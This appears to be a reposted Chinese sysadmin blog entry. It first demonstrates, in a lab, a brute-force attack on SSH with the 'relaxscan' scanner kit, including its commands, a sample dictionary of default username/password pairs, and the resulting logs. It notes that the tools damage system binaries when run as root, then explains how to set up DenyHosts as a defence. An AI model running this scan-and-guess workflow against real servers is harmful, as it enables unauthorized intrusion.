演示使用relaxscan暴力破解SSH & 使用DenyHosts 阻止SSH暴力破解

2011-07-14 00:42

演示使用relaxscan暴力破解SSH & 使用DenyHosts 阻止SSH暴力破解

by iGFW

at 2011-07-13 16:42:25

original http://igfw.tk/archives/3813

演示使用relaxscan暴力破解SSH

由于安全意识不足,导致机器被入侵的例子多不胜数。最近不断接到有服务器被入侵,执行文件被修改的报障。原因大多都是因为开放了SSH服务,同时 允许root访问,密码又过于简单的情况。为提出更有效的防范办法,决定做个攻击模拟。以下使用的工具是relaxsan,从网上可以很方便的找到,为免 影响不好,我这里就不提供了,仅做个攻击演示。

一、获取工具
首先,我不知道为什么叫relaxscan,这东西是从Google搜的,来源自chinaunix某个博客中,某被入侵所提取的代码。
里面包括pscan2和ssh-scan这两个关键程序,及一些必须的文件:

引用
pscan2 端口扫描工具,可对指定的网段中的IP,进行特定端口的扫描,找到满足要求的服务器后,会这些服务器IP记录到文件中;
ssh-scan 对指定的服务器进行暴力破解,其需要以下几个文件:
mft.txt 攻击的服务器IP列表,可由pscan2获得,每个IP一行;
pass_file 攻击用字典文件,每行由用户名+空格+密码组成,由ssh-scan自行调用,用于尝试进入ssh访问;
vuln.txt 成功入侵目标主机后的记录文件,会标注那些机器通过什么用户名和密码可以进入。

二、攻击演示
1、演示服务器

引用
hacker:10.10.10.1/24 → 作为攻击端
target:10.10.10.10/24 →作为被攻击目标

2、创建一个普通用户
这步很重要,虽然没有pscan2的源码,但基本可以肯定的是,pscan2本身具有木马的特性。千万不要以root用户执行pscan2,记住!(网上有似乎有该程序的源码,但我不能肯定是否一样,但在后面的补充内容中,我会做个简单的测试,以说明这问题。)

# useradd test
# passwd test

3、扫描特定网段
切换到test用户,把relaxscan解压出来,给pscan2 赋予可执行权限:

引用
# su – test
$ id
uid=512(test) gid=512(test) groups=512(test)
$ cd relaxscan/
$ chmod +x pscan2

pscan2 的用法:

引用
$ ./pscan2
Usage: ./pscan2 [c-block]
第一个参数是给出扫描的网段,必须是B类型的;
第二个参数是扫描的端口;
第三个参数是可选的,可进一步限制上面B类型网段中的C 段范围;

扫描10.10.10 网段:

引用
$ ./pscan2 10.10 22 10
# scanning:
# pscan completed in 3 seconds. (found 2 ips)
$ cat 10.10.10.pscan.22
10.10.10.1
10.10.10.10

可见,找到该网段中有两个IP打开了SSH服务。

4、攻击特定IP的SSH服务
既然找到已打开SSH服务的机器IP,那就可以用ssh-scan 进行暴力破解了。破解的关键是字典文件pass_file ,该文件决定了攻击时间的长短和成功率。可以从网上获取一堆的字典,下面是我模拟的几个用户名和密码:

引用
$ cat pass_file
upload upload
root q1w2e3r4
root qwer1234
root qwer0987
root poiu7890
oracle oracle
ftp ftp
apache apache
nagios nagios
nginx nginx
lighttpd lighttpd
mysql mysql
postfix postfix

※ 千万不要忽视普通用户的登录,普通用户可通过一些root exploit 漏洞提升到root权限,届时,与通过root访问也没什么差别。
把上面通过pscan2得到的IP地址段,转存为mfu.txt文件,然后开始攻击:

引用
$ grep -v -w ’10.10.10.1′ 10.10.10.pscan.22 > mfu.txt
$ ./ssh-scan 100
Toata dragostea mea pentru diavola!!!!!!

在被攻击端的安全日志中,会显示大量的尝试记录,类似:

引用
Jul  8 12:00:33 asianux3 sshd[2488]: Invalid user upload from 10.10.10.1
Jul  8 12:00:33 asianux3 sshd[2489]: input_userauth_request: invalid user upload
Jul  8 12:00:33 asianux3 sshd[2488]: pam_unix(sshd:auth): check pass; user unknown
Jul  8 12:00:33 asianux3 sshd[2488]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.10.10.1
Jul  8 12:00:33 asianux3 sshd[2488]: pam_succeed_if(sshd:auth): error retrieving information about user upload
Jul  8 12:00:36 asianux3 sshd[2488]: Failed password for invalid user upload from 10.10.10.1 port 2000 ssh2
Jul  8 12:00:36 asianux3 sshd[2489]: Received disconnect from 10.10.10.1: 11: Bye Bye
……
Jul  8 12:00:44 asianux3 sshd[2499]: Accepted password for oracle from 10.10.10.1 port 2005 ssh2
Jul  8 12:00:44 asianux3 sshd[2499]: pam_unix(sshd:session): session opened for user oracle by (uid=0)

攻击的密度与您给ssh-scan提供的参数有关,参数越大,尝试越频繁。从上面的日志可看到,oracle用户尝试登录成功了。
在攻击端也会显示信息:

引用
$ L-amPrins… !! ->oracle:oracle:10.10.10.10

并记录在vuln.txt 文件中:

引用
$ cat vuln.txt
oracle:oracle:10.10.10.10

至此,攻击算是完成了。后续的,就是用该用户登录ssh,然后尝试exploit 到root等操作,这里不再叙述。

三、破坏系统可执行文件
本来,我是希望通过这次的模拟,产生类似下面的病毒文件:
点击在新窗口中浏览此图片
可惜没效果。但通过实验,发现pscan2和ssh-scan 确实是有问题的。
1、原系统执行文件信息
找几个系统执行文件的当前信息:

引用
# ll /bin/{more,cat,umount,cp,mv}
-rwxr-xr-x 1 root root   25216 2010-03-02 /bin/cat
-rwxr-xr-x 1 root root   70632 2010-03-02 /bin/cp
-rwxr-xr-x 1 root root   35880 2010-03-25 /bin/more
-rwxr-xr-x 1 root root   78680 2010-03-02 /bin/mv
-rwsr-xr-x 1 root root   40432 2010-03-25 /bin/umount

2、以root权限运行pscan2或ssh-scan
结果,系统中的一些执行文件被修改:

引用
# ll /bin/{more,cat,umount,cp,mv}
-rwxr-xr-x 1 root root 33408 07-08 12:34 /bin/cat
-rwxr-xr-x 1 root root 78824 07-08 12:34 /bin/cp
-rwxr-xr-x 1 root root 44072 07-08 12:34 /bin/more
-rwxr-xr-x 1 root root 86872 07-08 12:34 /bin/mv
-rwsr-xr-x 1 root root 48624 07-08 12:34 /bin/umount

这些文件都被加了8192字节(某些文件会加16384字节),导致这些文件损坏了:

引用
# cp
-bash: /bin/cp: cannot execute binary file
# mv
-bash: /bin/mv: cannot execute binary file
# umount
-bash: /bin/umount: cannot execute binary file

表现形式很像木马程序。而且这些都是基本的执行文件,结果就是系统异常,修复也很困难。幸亏没感染能力,不会大规模传播。
一般可通过rpm -Va 找出被破坏的文件,然后重新安装对应的rpm包。但手续复杂,而且不能确保修复完整。
所以,尝试relaxscan前,请务必小心哦!

 

原文http://www.linuxfly.org/post/611/

 

使用DenyHosts 阻止SSH暴力破解

把服务器挂上公网,不可避免的有病毒或无聊的人会尝试攻击SSH。DenyHosts 就是通过分析secure日志,把满足一定要求的IP记录到/etc/hosts.deny中,达到屏蔽这些有害IP的目的。

一、安装
官网:http://denyhosts.sourceforge.net
版本比较老,最新的是2.6,但还可用。

我修改了其提供的src.rpm,直接把系统服务/etc/init.d/denyhosts和默认配置文件denyhosts.cfg都加到rpm中:
本地下载:

下载文件
点击这里下载文件

(适用于Asianux 3.0 python 2.4的版本,其他版本请用源码自行编译吧)

源码:

下载文件
点击这里下载文件

直接安装即可:

# rpm -ivh /usr/src/asianux/RPMS/noarch/DenyHosts-2.6-2.qk.python2.4.noarch.rpm

启动:

引用
# service denyhosts start
starting DenyHosts:    /usr/bin/env python /usr/bin/denyhosts.py –daemon –config=/usr/share/denyhosts/denyhosts.cfg

日志:

引用
# tail /var/log/denyhosts
2011-07-07 16:03:37,390 – denyhosts   : INFO     launching DenyHosts daemon (version 2.6)…
2011-07-07 16:03:37,395 – denyhosts   : INFO     DenyHosts daemon is now running, pid: 21872
2011-07-07 16:03:37,396 – denyhosts   : INFO     send daemon process a TERM signal to terminate cleanly
2011-07-07 16:03:37,396 – denyhosts   : INFO       eg.  kill -TERM 21872
2011-07-07 16:03:37,399 – denyhosts   : INFO     monitoring log: /var/log/secure
2011-07-07 16:03:37,399 – denyhosts   : INFO     sync_time: 3600
2011-07-07 16:03:37,399 – denyhosts   : INFO     daemon_purge:      3600
2011-07-07 16:03:37,399 – denyhosts   : INFO     daemon_sleep:      30
2011-07-07 16:03:37,400 – denyhosts   : INFO     purge_sleep_ratio: 120
2011-07-07 16:03:37,400 – denyhosts   : INFO     denyhosts synchronization disabled

二、配置
配置文件在/usr/share/denyhosts/denyhosts.cfg,文件中有很详细的注释,自己看文档吧。这里转一份扶凯的说明(做点补充吧):

引用
SECURE_LOG = /var/log/secure #ssh 日志文件,它是根据这个文件来判断的。HOSTS_DENY = /etc/hosts.deny #控制用户登陆的文件

PURGE_DENY = 30m #过多久后清除已经禁止的IP,若留空,表示不清除任何HOSTS_DENY记录

BLOCK_SERVICE = sshd #禁止的服务名

DENY_THRESHOLD_INVALID = 1 #允许无效用户失败的次数

DENY_THRESHOLD_VALID = 3 #允许有效用户(除root外)登陆失败的次数

DENY_THRESHOLD_ROOT = 5 #允许root登陆失败的次数

HOSTNAME_LOOKUP=NO #是否做域名反解,默认是YES,最好改为NO

ADMIN_EMAIL =  #管理员邮件地址,它会给管理员发邮件

DAEMON_LOG = /var/log/denyhosts #自己的日志文件

三、测试
找台机器,用ssh工具连接这台已打开DenyHosts服务的机器,用错误的密码尝试几次,即可在/var/log/denyhosts中看到类似的日志:

引用
2011-07-07 16:09:07,358 – denyhosts   : INFO     new denied hosts: ['192.168.228.135']

同时,/etc/hosts.deny中也会加入该IP:

引用
# tail -f /etc/hosts.deny
# DenyHosts: Thu Jul  7 16:09:07 2011 | sshd: 192.168.228.135
sshd: 192.168.228.135

若要手动允许该IP通过ssh访问,请把对应的IP从/etc/hosts.deny中删掉,然后,重启denyhosts服务即可。

四、其他方法
sshfilter http://www.csc.liv.ac.uk/~greg/sshdfilter/

Fail2Ban  http://fail2ban.sourceforge.net/

使用pam_abl防止SSH遭暴力破解攻击

 

原文http://www.linuxfly.org/post/610/